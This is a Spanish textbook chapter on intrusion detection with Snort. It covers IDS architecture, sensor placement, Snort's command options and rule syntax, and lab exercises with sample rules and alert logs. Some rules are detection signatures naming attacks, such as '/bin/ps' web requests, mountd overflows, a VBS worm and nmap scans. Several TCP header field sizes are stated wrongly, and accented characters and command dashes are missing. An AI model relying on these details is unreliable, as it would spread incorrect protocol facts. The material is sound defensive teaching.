Figura 5-2: Arquitectura de un IDS


Los elementos necesarios para la construccin de un sistema para la deteccin de intrusiones se pueden
agrupar en las siguientes cuatro categoras:
3.1 Recolectores de informacin: Es en definitiva un sensor
3.1.1 Sensores basados en equipo:
Estos se encargan de recoger y analizar datos a nivel de sistema operativo como pueden ser conexiones y
llamadas al sistema, estos datos pueden llegar a tener una gran densidad, este tipo de sensores debido al
gran flujo de informacin necesitan de una buena maquina ya que sino de los contrario pueden repercutir en
el rendimiento del sistema de la maquina en que se ejecute.
3.1.2

Sensores basados en red:

Estos sensores recogen datos a nivel de trafico de red como es el anlisis de datagramas que pasan por las
interfaces de red analizando las cabeceras IP, este tipo de sensor trabaja de forma no intrusiva lo cual no
afecta el rendimiento de las maquinas de la red, son independientes del sistema operativo. Este tipo de
sensores pueden llegar atener problemas en redes de alta velocidad o en redes cifradas.
3.1.3

Sensores basados en aplicacin:

Estos capturan la informacin de aplicaciones que se estn ejecutando, tambin pueden tener una gran
densidad de datos y pueden repercutir en el rendimiento de la maquina.

3.2

Procesadores de eventos

Son conocidos como analizadores, conforman el ncleo central del sistema de deteccin. Tienen la
responsabilidad de operar sobre la informacin recogida por los sensores para poder inferir posibles
intrusiones.
3.2.1

Deteccin de anomalas:

La idea es a priori: estos modelos de deteccin conocen lo que es `normal' en nuestra red o nuestras
mquinas a lo largo del tiempo, desarrollando y actualizando conjuntos de patrones contra los que comparar
los eventos que se producen en los sistemas. Si uno de esos eventos (por ejemplo, una trama procedente de

169

Parte II, Captulo 5 Sistemas para la deteccin de intrusiones

una mquina desconocida) se sale del conjunto de normalidad, automticamente se cataloga como
sospechoso.
Los IDS de deteccin de anomalas se basan en la premisa de que cualquier ataque o intento de ataque
implica un uso anormal de los sistemas.

3.2.2

Deteccin de usos indebidos:

Dentro de la clasificacin de los sistemas de deteccin de intrusos en base a su forma de actuar, la segunda
gran familia de modelos es la formada por los basados en la deteccin de usos indebidos. Este esquema se
basa en especificar de una forma ms o menos formal las potenciales intrusiones que amenazan a un
sistema y simplemente esperar a que alguna de ellas ocurra; para conseguirlo existen cuatro grandes
aproximaciones: los sistemas expertos, los anlisis de transicin entre estados, las reglas de comparacin y
emparejamiento de patrones (pattern matching) y la deteccin basada en modelos.

3.3

Unidades de respuesta

Se encargan de iniciar acciones de respuesta en el momento en que se detecta un ataque o intrusin. Las
acciones pueden ser automticas o activas o pueden requerir interaccin humana (pasivas).
3.4

Elementos de almacenamiento

Los sensores recogen tanta informacin que se pueden clasificar en de mediano y largo plazo. El tiempo de
almacenamiento de informacin a medio plazo puede ser del orden de dos o tres das, con el objetivo de ser
analizada por el administrador del sistema.

3.5

Resumen

La fuente de recogida de datos. Estas fuentes pueden ser un log, dispositivo de red, o como
en el caso de los IDS basados en host, el propio sistema.
Reglas que contienen los datos y patrones para detectar anomalas de seguridad en el sistema.
Filtros que comparan los datos que se les ha hecho sniff de la red o de logs con los
patrones almacenados en las reglas.
Detectores de eventos anormales en el trfico de red.
Dispositivo generador de informes y alarmas. En algunos casos con la sofisticacin suficiente
como para enviar alertas via e-mail, o SMS.

Cada IDS implementa la arquitectura de manera diferente.


Snort, por ejemplo, tiene una arquitectura dividida en tres subsistemas:
1.
2.
3.

4.0

Decodificador de paquetes
Motor de deteccin
Loggins y alertas

Dnde colocar el ids

Una actitud paranoica por parte del usuario o administrador podra llevar a instalar un IDS en cada host
en cada tramo de red. Esto ltimo sera un tanto lgico cuando se trata de grandes redes.

Lo lgico sera instalar el IDS en un dispositivo por donde pase todo el trfico de red que interese.
4.1

Dificultades de los IDS

Un problema de los IDS es cuando se quiere implementarlos en redes conmutadas (HUBS) ya que
no hay segmentos de red por donde pase todo el trfico.

170

Parte II, Captulo 5 Sistemas para la deteccin de intrusiones

Otro problema para un IDS son las redes con velocidades de trfico muy altas en las cuales es
difcil procesar todos los paquetes.

4.2

Posicin del IDS en la red

4.2.1

Si se coloca el IDS antes del cortafuego se capturara todo el trfico de entrada y salida de la red.
La posibilidad de falsas alarmas es grande.
La colocacin detrs del cortafuego monitorea todo el trfico que no sea detectado y parado por
el firewall o cortafuegos, por lo que ser considerado como malicioso en un alto porcentaje de
los casos. La posibilidad de falsas alarmas muy inferior.
Algunos administradores de sistemas colocan dos IDS, uno delante y otro detrs del cortafuegos
para obtener informacin exacta de los tipos de ataques que recibe la red ya que si el cortafuegos
est bien configurado puede parar o filtras muchos ataques.

4.2.2

4.2.3

En ambientes domsticos, se pueden colocar el IDS en la misma mquina que el cortafuego.


En este caso actan en paralelo, es decir, el firewall detecta los paquetes y el IDS los analiza.

5.0

Snort

SNORT es un sistema de deteccin de intrusos en tiempo real y basado en red muy potente. Este sistema
sigue el planteamiento de colocar una mquina con un interfaz promscuo que monitorice el trfico que
circula por la red, de este modo SNORT busca patrones que hagan presagiar que se esta desencadenando un
ataque sobre la red que este monitoriza.
Al igual que logcheck y siguiendo la arquitectura general, el sistema incorpora paquetes de reglas para
realizar chequeos determinados sobre el trfico de red, en este caso categorizados en diversos grupos como
smtp.rules, ddos.rules, etc.

Otra de las grandes virtudes de SNORT es que incorpora un sistema bastante sencillo para escribir las
propias reglas, de modo que se puedan adaptar a los requerimientos reescribiendo las reglas para los
incidentes que se desea monitorizar.

Un ejemplo de regla de SNORT:


alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 80 (msg:"WEB-ATTACKS ps command attempt";
flags:A+; uricontent:"/bin/ps"; nocase; sid:1328; rev:1;classtype:web-application-attack;)
Con este lenguaje se permite introducir no solo el protocolo o el puerto al que tiene como destino el
paquete, tambin se puede indicar el contenido de este, flags determinados de los protocolos, de modo que
hace a snort extremadamente flexible.

5.1

Definicion de Snort

Snort es un IDS o Sistema de deteccin de intrusiones basado en red (NIDS).

171

Parte II, Captulo 5 Sistemas para la deteccin de intrusiones

SNORT

SNORT es un sistema de deteccin de intrusos en tiempo real y


basado en red muy potente. Este sistema sigue el planteamiento
de colocar una mquina con un interfaz promscuo que
monitorice el trfico que circula por la red, de este modo SNORT
busca patrones que hagan presagiar que se esta
desencadenando un ataque sobre la red que este monitorea
Al igual que logcheck y siguiendo la arquitectura general, el
sistema incorpora paquetes de reglas para realizar chequeos
determinados sobre el trfico de red, en este caso categorizados
en diversos ( y numerosos ) grupos como smtp.rules, ddos.rules,
etc

Figura 5-3: Ejemplo de IDS Snort


Implementa un motor de deteccin de ataques y barrido de puertos que permite registrar, alertar y
responder ante cualquier anomala previamente definida como patrones que corresponden a ataques,
barridos, intentos de aprovechar alguna vulnerabilidad, anlisis de protocolos conocidos. Todo esto en
tiempo real.

5.2

Licencia de uso

Snort (www.snort.org) inicio bajo licencia GPL y funciona bajo plataformas Windows y UNIX/Linux.
Es uno de los ms usados y dispone de una gran cantidad de filtros o patrones ya predefinidos, as como
actualizaciones constantes ante casos de ataques, barridos o vulnerabilidades que vayan siendo
detectadas a travs de los distintos boletines de seguridad.
Este IDS implementa un lenguaje de creacin de reglas flexibles, potentes y sencillas.
Durante su instalacin provee cientos de filtros o reglas para backdoor, ddos, finger, ftp, ataques web, CGI,
escaneos Nmap....

5.3

Funcionamiento de snort

Puede funcionar como sniffer (se puede ver en consola y en tiempo real qu ocurre en la red, todo el
trfico), registro de paquetes (permite guardar en un archivo los logs para su posterior anlisis, un
anlisis offline) o como un IDS normal (en este caso NIDS).
Para que snort funcione como un sniffer debe digitar el siguiente comando:
# snort de y l logs i ethxx
Donde la opcin d indica dump, es decir que tome el trafico de red
La opcin e indica que describa las cabeceras, esta opcin muestra las MAC Address del receptor y emisor.
La opcin y indica que se incluya el anio.
La opcin l logs indica que el directorio logs se usar para guardar alertas y el trfico de red en formato
tcpdump.
La opcin i ethxx indica que se ponga en modo promiscuo en la interface de red ethxx.
Nota: Si se utiliza la opcin v se vera el trafico en la pantalla en vivo pero se perderan paquetes.

172

Parte II, Captulo 5 Sistemas para la deteccin de intrusiones

Para ver el trfico que snort captur use el siguiente comando:


# snort v r logs/archivo.de.logs

Para que snort funcione como NIDS se debe digitar el siguiente comando:
# snort de y c /etc/snort/snort.conf l logs i ethxx
Donde la opcin d indica dump, es decir que tome el trafico de red
La opcin e indica que describa las cabeceras, esta opcin muestra las MAC Address del receptor y emisor.
La opcin y indica que se incluya el anio en la fecha.
La opcin l logs indica que el directorio para guardar las alertas y el trafico en formato tcpdump ser logs
La opcin c es la nica que permite leer las reglas y por lo tanto es la opcin que lo activa como
NIDS.
La opcin i ethxx indica que se ponga en modo promiscuo en la interface de red ethxx.
La colocacin de Snort en la red puede realizarse segn el trfico que se desea vigilar: paquetes que
entran, paquetes salientes, dentro del firewall, fuera del firewall... y en realidad prcticamente donde
queramos.
Una caracterstica muy importante e implementada desde hace pocas versiones es FlexResp.
Permite, dada una conexin que emita trfico malicioso, darla de baja, hacerle un DROP mediante el envo
de un paquete con el flag RST activa, con lo cual cumplira funciones de firewall, cortando las conexiones
que cumplan ciertas reglas predefinidas. No slo corta las conexiones ya que puede realizar otras muchas
acciones.

5.4

Diferencias entre logs y alertas

Alert: Permite conocer que cosas interesantes estn pasando, adems permite hacer dos cosas, escribir un
evento basado en alguna facilidad como email o mensajes SMS que no se recomienda por los timeouts o
retardos introducidos y adems permite escribir en log en un archivo llamado alert de lo que ocurri.
Log: Permite nicamente hacer pistas de los paquetes sin generar alertas. Generalmente se crean en un
directorio con el IP del remitente de los paquetes y dentro de este el log del puerto en un archivo.
5.5

Formato de la cabecera (header) del protoclo TCP como lo ve snort

Figura 5-4: Formato de cabecera TCP como lo ve SNORT

173

Parte II, Captulo 5 Sistemas para la deteccin de intrusiones

Puerto origen (16 bits). Puerto de la mquina origen. Al igual que el puerto destino es necesario
para identificar la conexin actual.

Puerto destino (16 bits). Puerto de la mquina destino.

Nmero de secuencia (32 bits). Indica el nmero de secuencia del primer byte que trasporta el
segmento.

Nmero de acuse de recibo (32 bits). Indica el nmero de secuencia del siguiente byte que se
espera recibir. Con este campo se indica al otro extremo de la conexin que los bytes anteriores se
han recibido correctamente.

Posicin de los datos (4 bits). Longitud de la cabecera medida en mltiplos de 32 bits (4 bytes).
El valor mnimo de este campo es 5, que corresponde a un segmento sin datos (20 bytes).
Reservado (6 bits). Bits reservados para un posible uso futuro.

Bits de cdigo o indicadores (6 bits). Los bits de cdigo determinan el propsito y contenido del
segmento. A continuacin se explica el significado de cada uno de estos bits (mostrados de
izquierda a derecha) si est a 1:

URG. El campo Puntero de urgencia contiene informacin vlida.


ACK. El campo Nmero de acuse de recibo contiene informacin vlida, es decir, el
segmento actual lleva un ACK. Se observa que un mismo segmento puede transportar
los datos de un sentido y las confirmaciones del otro sentido de la comunicacin.
PSH. La aplicacin ha solicitado una operacin push (enviar los datos existentes en la
memoria temporal sin esperar a completar el segmento).
RST. Interrupcin de la conexin actual.
SYN. Sincronizacin de los nmeros de secuencia. Se utiliza al crear una conexin
para indicar al otro extremo cual va a ser el primer nmero de secuencia con el que va
a comenzar a transmitir (no tiene porqu ser el cero).
FIN. Indica al otro extremo que la aplicacin ya no tiene ms datos para enviar. Se
utiliza para solicitar el cierre de la conexin actual.

Ventana (16 bits). Nmero de bytes que el emisor del segmento est dispuesto a aceptar por parte
del
destino.

Suma de verificacin (24 bits). Suma de comprobacin de errores del segmento actual. Para su
clculo se utiliza una pseudo-cabecera que tambin incluye las direcciones IP origen y destino.

Puntero de urgencia (8 bits). Se utiliza cuando se estn enviando datos urgentes que tienen
preferencia sobre todos los dems e indica el siguiente byte del campo Datos que sigue a los datos
urgentes. Esto le permite al destino identificar donde terminan los datos urgentes. Ntese que un
mismo segmento puede contener tanto datos urgentes (al principio) como normales (despus de los
urgentes).

Opciones (variable). Si est presente nicamente se define una opcin: el tamao mximo de
segmento que ser aceptado.

Relleno. Se utiliza para que la longitud de la cabecera sea mltiplo de 32 bits.

Datos. Informacin que enva la aplicacin.

Tambin se puede usar junto a MySQL o Microsoft SQL, ejecutando consultas SQL a una base de
datos. Guarda logs tambin en formato XML. No se limita slo al anlisis de los protocolos tpicos
como ftp, smtp, http, pop3, telnet ... , adems analiza otros: ethernet, arp, decnet, lat, rarp.

174

Parte II, Captulo 5 Sistemas para la deteccin de intrusiones

Recompone trfico fragmentado, analiza trfico tipo BackOrifice (independientemente del puerto
usado), es capaz de "ver" datos del tipo decode o unicode, traceroute, pings.
Puede actuar como antivirus, aunque esta opcin no es muy recomendable. Es mejor dejar esta tarea a
aplicaciones especializadas para ello.
Snort como sniffer se basa en las libreras de captura de paquetes libcap que provee a snort de la
capacidad de sniffer de paquetes. En windows la librera sera WinPCAP http://winpcap.polito.it/
Snort puede, para su fcil configuracin y gestin, usarse mediante una interfaz grfica como ACID o
IDSCenter, es una interface grfica que sirve para configurar todas las caractersticas de Snort como
alertas, tests, reglas, variables, funcionamiento junto a MySQL o BlackIce Defender, rotacin de logs,
notificaciones via mail o sonido, plugins, preprocesadores, FlexResp.

6.0 Creacin de reglas con snort


El lenguaje usado por Snort es flexible y potente, basado en una serie de normas que sern las que sirvan
de gua para la escritura de las reglas.

CREACION DE REGLAS CON SNORT

El lenguaje usado por Snort es flexible y potente, basado en una


serie de normas que sern las que sirvan de gua para la
escritura de las reglas.
Dentro de estas normas se tienen:
La descripcin de cada regla
Cabecera
Opciones
Uso de preprocesadores

Figura 5-5: Reglas Snort


Dentro de estas normas se tienen:

la descripcin de cada regla


cabecera
opciones
uso de preprocesadores

Dentro del lenguaje Snort de rules (reglas) se presenta el uso intensivo de nociones de TCP/IP, en
concreto de TCP, flag, nmeros de secuencia, etc, por lo cual es imprescindible su repaso para una
mejor comprensin.
Recomendado el uso tambn de software de captura de paquetes tipo Ethereal o
TCPdump/Windump para ver en un escenario real la funcin de las nociones aprendidas sobre TCP como:

El establecimiento de una conexin TCP


El flujo de datos
El uso de flags

175

Parte II, Captulo 5 Sistemas para la deteccin de intrusiones

6.1

Conexiones half-open usadas en escaneos de puertos


Reglas

Las reglas de Snort se pueden dividir en dos secciones lgicas, a saber: cabecera de la regla y opciones:
6.1.1
6.1.2

La cabecera contiene la accin de la regla en s, el protocolo, IPs, mscaras de red, puertos origen
y destino y destino del paquete o direccin de la operacin
La seccin opciones contiene los mensajes y la informacin necesaria para la decisin a tomar por
parte de la alerta en forma de opciones.

Esquemticamente las reglas Snort se dividen de la siguiente manera:


CABECERA

6.2

OPCIONES

Accin
Protocolos involucrados
Direcciones IP
Nmeros de puerto
Direccin de la operacin

Mensaje
Opciones de decisin

Consideraciones en el orden de las opciones de las reglas


1.
2.

6.3

El orden de la seccin opciones: Primero las opciones y despus el mensaje. El orden es


indiferente.
La opcin 'content': Es una de las opciones ms importantes ya que permite la bsqueda
de contenidos dentro del campo datos del paquete IP. Se puede aadir 'nocase' para que la
bsqueda de los datos no sea sensible a las maysculas. Estos datos pueden estar en
formato hexadecimal, texto plano o binario.
Ejemplos de creacin de reglas

Ejemplo 1:
Ahora se presenta un ejemplo de regla Snort para alertar de un escaneo nmap del tipo
TCP ping:
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"Escaneo ping con
nmap";flags:A;ack:0; reference:arachnids,28;classtype:attempted-recon; sid:628; rev:1;)
Analizando esta alerta:
CABECERA

Accin de la regla: alert


Protocolo: tcp
Direccion IP origen: $EXTERNAL_NET (toda la red)
Puerto IP origen: any (cu]alquiera)
Direccion IP destino: $HOME_NET (toda la red)
Puerto IP destino: any (cualquiera)
Direccin de la operacin: -> (puede ser ->, <-, <>)

OPCIONES

176

Parte II, Captulo 5 Sistemas para la deteccin de intrusiones

Mensaje: msg
Opciones: flags:A;ack:0; reference:arachnids..(1)

flags:A Establece el contenido de los flags o banderas TCP, en este caso ACK (puede tener
varios valores y operadores).
ack:0 Caso particular para valor ACK=0, es el valor que pone nmap para TCP ping scan.
reference:arachnids,28 Referencia un a un Advisory, alerta tipo Bugtrac, etc.
classtype:attempted-recon Categora de la alerta segn unos niveles predefinidos y
prioridades.
sid:628 Identificacin nica para esta regla snort

rev:1 como primer ejemplo se tiene:


alert tcp any any -> 192.168.100.0/24 111 (content:"|00 01 86 a5|"; msg: "mountd
access";)
Acceso al demonio de administracin mountd de UNIX, el cual tiene diversos problemas
de desbordamiento de memoria intermedia, que permiten a un atacante remoto obtener
privilegios de administrador en los sistemas vulnerables.

Ejemplo 2:
alert tcp any 110 -> any any (msg:"Virus - Posible Virus-Worm";
content: "filename=\"TIMOFONICA.TXT.vbs\""; nocase;
reference:MCAFEE,98674; sid:799; classtype:misc-activity;
rev:3;)
Las reglas anteriores detectan virus dirigidos desde el servidor POP3 hacia los clientes de correo.
Ejemplo 3:
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg: "Peligro estn descargando MP3";flags:
AP; content: ".mp3";)
En las lneas anteriores se crea una regla para detectar descargas de archivos *.MP3.
Ejemplo 4:
Crear una regla Snort "desde ceros" para la deteccin de ping desde Windows.
Antecedentes:
Para detectar un ping realizado desde fuera de la red, lo primero que se debe saber es qu tipo de datos
intervienen en la cabecera del datagrama IP, en la ICMP y los datos.
a.
b.

un echo request es de tipo 8 para obtener un echo reply (tipo 0)


en el campo Protocolo de la cabecera IP debe ir el dato ICMP y poco ms recordaremos.

As que la cuestin es cmo averiguar el resto de datos y, sobre todo, qu traza deja un ping enviado
desde MS Windows.
*Formato de peticin y respuesta de eco. Ping echo / echo request:

Figura 5-6: Formato ping ICMP

177

Parte II, Captulo 5 Sistemas para la deteccin de intrusiones

Para todo esto se cuenta con un tipo de herramientas llamadas sniffers. Se Utilizar para la prctica
Ethereal por ser de los ms intuitivos y fciles de usar e interpretar. Se puede usar tambin
TCPDump/Windump.
1.
2.
3.
4.

Segundos antes de enviar un ping desde un host emisor pulsamos en Ethereal: Capture > Start.
En el host receptor se activa el capturador de paquetes.
Se envia el ping al host receptor, dejando unos segundos para que "termine" el ping y pulsamos
Stop en el panel de captura del host receptor
Se busca en la secuencia de captura o traza, la informacin de envo de ping usando el protocolo
ICMP.

Pulsando encima de la informacin se presenta algo parecido a esto en Ethereal:


Frame 61 (74 on wire, 74 captured)
...
Sequence number: 05:00
Data (32 bytes)
0000 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 abcdefghijklmnop
0010 71 72 73 74 75 76 77 61 62 63 64 65 66 67 68 69 qrstuvwabcdefghi
Las dos ltimas lneas son los datos (32 bytes) que servirn como firma o huella para la regla snort.
Ya se sabe la firma o huella que deja un ping en Windows, solo resta crear una regla donde la opcin
contenga los datos "abcdefghijklmnopqrstuvwabcdefghi"
La regla quedara as:
alert ICMP $EXTERNAL any -> $INTERNAL any (msg: "ICMP ping en Windows"; dsize: 32; itype: 8; content:
"abcdefghijklmnopqrstuvwabcdefghi"; depth: 32;)
Donde aparecen nuevos indicadores:

dsize: tamao de datos. comprobacin del tamao del contenido del paquete.
itype: tipo de icmp, en este caso para un ping es 8.
depth: extensin del tamao de datos que se ha de inspeccionar.

De estos ejemplos se desprende que para la creacin de la mayora de las reglas Snort el procedimiento es
estudiar las trazas dejadas por cortafuegos y NIDS que supongan algn tipo de ataque o intrusin al
sistema que se quiere proteger.

Ejemplo 5:
log tcp any any -> 192.168.100.10 80 (msg:WEB;)
Esta regla indica que nicamente se debe hacer log de los paquetes de tipo TCP que vengan de cualquier ip
y de cualquier puerto externo hacia el IP interno 192.168.100.10 puerto 80, el mensaje que debe quedar en
los logs es la palabra WEB.
Esta accin log no genera alertas.

Ejemplo 6:
alert icmp any any -> 192.168.100.10 any (itype:8;msg:PING;)
Esta regla indica que se debe hacer una alerta, es decir se debe generar un mensaje de alerta que diga
PING dentro del archivo alert del directorio de logs que filtre nicamente los paquetes ICMP que vengan
de cualquier IP y puerto externo hacia el IP interno 192.168.100.10 para cualquier puerto, si el flag itype es
de tipo 8, es decir es un request entonces se debe escribir el mensaje PING en el archivo de alertas alert.

178

Parte II, Captulo 5 Sistemas para la deteccin de intrusiones

7.0

Semejanzas y diferencias con iptables

7.1

Semejanzas

7.2

Se comportan como un firewall para hacer DROP de paquetes


Analizan la cabecera de datos TCP mirando los flags para tomar decisiones
Deteccin de exploracin de puertos
Se basan en reglas
Log de paquetes
Licencia GPL
Diferencias

Snort, puede comportarse como un antivirus


Snort, se puede comportar como un sniffer
Snort, es mas granular en la deteccin de exploracin de puertos
Snort, adems del nivel de red puede trabajar a nivel de aplicaciones
Snort, puede enviar mensaje de alerta por correo o celulares tipo SMS
Snort es multiplataforma pues trabaja en Windows, Linux y Unix.
IPTABLES hace NAT y DNAT de direcciones IP y de puertos
IPTABLES hace redireccionamiento de puertos e IPs
IPTABLES no usa base de datos de ataques
IPTABLES no es un IDS
IPTABLES solo corre en Unix o Linux.

179

Parte II, Captulo 5 Sistemas para la deteccin de intrusiones

8.0

Laboratorio: Snort como NIDS

8.1

Objetivo:

Usar SNORT como NIDS. En esta parte trabajaremos con la herramienta Snort, que se puede descargar de
http://www.snort.org.
En esta pagina web tambin existe informacin y documentacin sobre la herramienta.
Para Windows se necesitan las libreras de captura de tramas WinPCAP (http://winpcap.polito.it).

8.2

Prerrequisitos:

Nota: Para el laboratorio se ha instalado el servidor snort (192.168.100.11) y un cliente Windows XP


(192.168.100.12)
Ahora, cree un directorio llamado logs, en este directorio se almacenarn los registros de eventos que
detecte Snort, digite los siguientes comandos:
# cd /root
# mkdir logs
Edite el archivo /etc/snort/snort.conf, busque la variable HOME_NET y asignele su red, por ejemplo:
var HOME_NET 192.168.100/24
Esto es necesario debido a que las nuevas versiones de snort no soportan la constante any cuando se le
antepone la negacion con el simbolo !, es decir !any.
Adicione al final del archivo/ficehro las reglas que propone este laboratorio.
No se debe olvidar que cada regla siempre debe tener una identificacion sid.

8.3

Problemtica:

8.3.1
Defina las reglas que detecten un intento de acceso desde la
(192.168.100.0/24) a cualquier IP a los puertos del 1000 al 1024 (UDP y TCP).

red

interna

alert tcp 192.168.100.0/24 any -> any 1000:1024 (msg:Intento de acceso tcp 1000:1024;sid:1;)
alert udp 192.168.100.0/24 any -> any 1000:1024 (msg:Intento de acceso udp 1000:1024;sid:2;)
Suba snort en modo NIDS con el comando:
# snort de y c /etc/snort/snort.conf l logs i ethxx
Desde el cliente 192.168.100.12 se hace un telnet a un puerto que no tiene asociado ningn servicio:
# telnet 192.168.100.11 1000
Y se obtiene el siguiente archivo de alertas alert
[**] [1:0:0] Intento de acceso tcp [**]
[Priority: 0]
06/08-23:18:49.015811 192.168.100.12:3060 -> 192.168.100.11:1000
TCP TTL:128 TOS:0x0 ID:551 IpLen:20 DgmLen:48 DF
******S* Seq: 0xAECD96F5 Ack: 0x0 Win: 0xFAF0 TcpLen: 28
TCP Options (4) => MSS: 1460 NOP NOP SackOK

8.3.2
Defina una regla que registre paquetes correspondientes a peticiones DNS y que vengan
exclusivamente del exterior de la red.

180

Parte II, Captulo 5 Sistemas para la deteccin de intrusiones

En mi servidor snort creo las siguientes reglas:


alert udp !192.168.100.0/24 any -> 192.168.100.11 53 (msg:Peticion DNS externa udp;sid:3;)
alert tcp !192.168.100.0/24 any -> 192.168.100.11 53 (msg:Peticion DNS externa tcp;sid:4;)
Subir el snort con el comando:
# snort de y c /etc/snort/snort.conf l logs i ethxx
Con el comando netcat se puede simular el servicio dns:
# netcat p 53 l v
Desde el cliente haga la consulta de tipo DNS:
# nslookup 200.118.132.63
 www.uoc.edu
O utilice un telnet para enviar trafico al Puerto 53/dns del ip servidor dns 200.118.132.63
# telnet 200.118.132.63 53
Todo lo que digito en esta sesin remota lo veo en el netcat local en mi servidor snort:
El snort detecto el siguiente trafico en el archivo logs/alert
[**] [1:0:0] Peticion DNS externa netcat tcp [**]
[Priority: 0]
06/08-23:58:19.499513 200.118.126.179:40424 -> 192.168.100.11:53
TCP TTL:61 TOS:0x10 ID:23968 IpLen:20 DgmLen:60 DF
******S* Seq: 0xFA7AE358 Ack: 0x0 Win: 0x16D0 TcpLen: 40
TCP Options (5) => MSS: 1460 SackOK TS: 374233903 0 NOP WS: 0
[**] [1:0:0] Peticion DNS externa netcat tcp [**]
[Priority: 0]
06/08-23:58:20.053551 200.118.126.179:40424 -> 192.168.100.11:53
TCP TTL:61 TOS:0x10 ID:23969 IpLen:20 DgmLen:52 DF
***A**** Seq: 0xFA7AE359 Ack: 0xA95F57D7 Win: 0x16D0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 374233938 3440702

8.3.3
Defina una regla que intente clasificar cualquier intento de entrada al sistema como
intento de usuario (pista: se debe utilizar el sistema de clasificacin que viene definido con Snort;
para probarlo, use include /etc/snort/classification.config)
Include /etc/snort/classification.config
alert tcp any any -> any any (msg:Intento de entrada;classtype:default-login-attempt;sid:5;)
Se he dado de alta el servicio de ssh con el comando /etc/init.d/ssh start
Y al hacer un ssh desde el cliente se obtiene el siguiente informe:
[**] [1:0:0] Intento de entrada [**]
[Classification: Attempt to login by a default username and password] [Priority: 2]
06/09-01:00:45.781516 192.168.100.12:3671 -> 192.168.100.11:22
TCP TTL:128 TOS:0x0 ID:10879 IpLen:20 DgmLen:48 DF
******S* Seq: 0x3F6B69D Ack: 0x0 Win: 0xFAF0 TcpLen: 28
TCP Options (4) => MSS: 1460 NOP NOP SackOK
[**] [1:0:0] Intento de entrada [**]
[Classification: Attempt to login by a default username and password] [Priority: 2]
06/09-01:00:45.781549 192.168.100.11:22 -> 192.168.100.12:3671
TCP TTL:32 TOS:0x0 ID:0 IpLen:20 DgmLen:48 DF
***A**S* Seq: 0x94393378 Ack: 0x3F6B69E Win: 0x16D0 TcpLen: 28

181

Parte II, Captulo 5 Sistemas para la deteccin de intrusiones

TCP Options (4) => MSS: 1460 NOP NOP SackOK


[**] [1:0:0] Intento de entrada [**]
[Classification: Attempt to login by a default username and password] [Priority: 2]
06/09-01:00:45.781679 192.168.100.12:3671 -> 192.168.100.11:22
TCP TTL:128 TOS:0x0 ID:10880 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x3F6B69E Ack: 0x94393379 Win: 0xFAF0 TcpLen: 20
[**] [1:0:0] Intento de entrada [**]
[Classification: Attempt to login by a default username and password] [Priority: 2]
06/09-01:00:45.790449 192.168.100.12:3671 -> 192.168.100.11:22
TCP TTL:128 TOS:0x0 ID:10881 IpLen:20 DgmLen:84 DF
***AP*** Seq: 0x3F6B69E Ack: 0x943933A2 Win: 0xFAC7 TcpLen: 20
[**] [1:0:0] Intento de entrada [**]
[Classification: Attempt to login by a default username and password] [Priority: 2]
06/09-01:00:45.791372 192.168.100.11:22 -> 192.168.100.12:3671
TCP TTL:32 TOS:0x0 ID:40733 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x943933A2 Ack: 0x3F6B6CA Win: 0x16D0 TcpLen: 20
[**] [1:0:0] Intento de entrada [**]
[Classification: Attempt to login by a default username and password] [Priority: 2]
06/09-01:00:45.791595 192.168.100.12:3671 -> 192.168.100.11:22
TCP TTL:128 TOS:0x0 ID:10882 IpLen:20 DgmLen:376 DF
***AP*** Seq: 0x3F6B6CA Ack: 0x943933A2 Win: 0xFAC7 TcpLen: 20

8.3.4
Defina una regla que alerte de la bsqueda por Internet de la palabra sex por parte de
los usuarios de la red interna.
alert tcp $HOME_NET any -> any any (content:sex;nocase;msg:Busqueda de sexo tcp;sid:6;)
alert udp $HOME_NET any -> any any (content:sex;nocase;msg: Busqueda de sexo udp;sid:7;)
Al entrar a http://www.google.com a buscar la palabra SEX se encuentra lo siguiente:
[**] [1:0:0] Busqueda de sexo tcp [**]
[Priority: 0]
06/11-17:35:22.866083 192.168.100.12:3107 -> 64.233.179.104:80
TCP TTL:128 TOS:0x0 ID:1509 IpLen:20 DgmLen:397 DF
***AP*** Seq: 0xF83B4A6F Ack: 0x9811DD87 Win: 0x4470 TcpLen: 20
[**] [1:0:0] Busqueda de sexo tcp [**]
[Priority: 0]
06/11-17:35:24.659759 192.168.100.12:3108 -> 64.233.179.104:80
TCP TTL:128 TOS:0x0 ID:1516 IpLen:20 DgmLen:415 DF
***AP*** Seq: 0xF83CB3FA Ack: 0xC6CE4C61 Win: 0x4470 TcpLen: 20
[**] [1:0:0] Busqueda de sexo tcp [**]
[Priority: 0]
06/11-17:35:24.686369 192.168.100.12:3107 -> 64.233.179.104:80
TCP TTL:128 TOS:0x0 ID:1524 IpLen:20 DgmLen:420 DF
***AP*** Seq: 0xF83B4BD4 Ack: 0x9811F0DE Win: 0x3F43 TcpLen: 20
[**] [1:0:0] Busqueda de sexo tcp [**]
[Priority: 0]
06/11-17:35:24.689616 192.168.100.12:3108 -> 64.233.179.104:80
TCP TTL:128 TOS:0x0 ID:1526 IpLen:20 DgmLen:418 DF
***AP*** Seq: 0xF83CB571 Ack: 0xC6CE5F9B Win: 0x4252 TcpLen: 20
[**] [1:0:0] Busqueda de sexo tcp [**]
[Priority: 0]
06/11-17:35:24.716192 192.168.100.12:3107 -> 64.233.179.104:80
TCP TTL:128 TOS:0x0 ID:1528 IpLen:20 DgmLen:417 DF
***AP*** Seq: 0xF83B4D50 Ack: 0x9811F32C Win: 0x4470 TcpLen: 20

182

Parte II, Captulo 5 Sistemas para la deteccin de intrusiones

[**] [1:0:0] Busqueda de sexo tcp [**]


[Priority: 0]
06/11-17:35:24.753907 192.168.100.12:3108 -> 64.233.179.104:80
TCP TTL:128 TOS:0x0 ID:1530 IpLen:20 DgmLen:417 DF
***AP*** Seq: 0xF83CB6EB Ack: 0xC6CE647C Win: 0x4470 TcpLen: 20
[**] [1:0:0] Busqueda de sexo tcp [**]
[Priority: 0]
06/11-17:35:24.754489 192.168.100.12:3107 -> 64.233.179.104:80
TCP TTL:128 TOS:0x0 ID:1532 IpLen:20 DgmLen:429 DF
***AP*** Seq: 0xF83B4EC9 Ack: 0x9811F577 Win: 0x4225 TcpLen: 20
Nota: Solo se ve el trfico con los flags TCP PUSH y ACK activado.

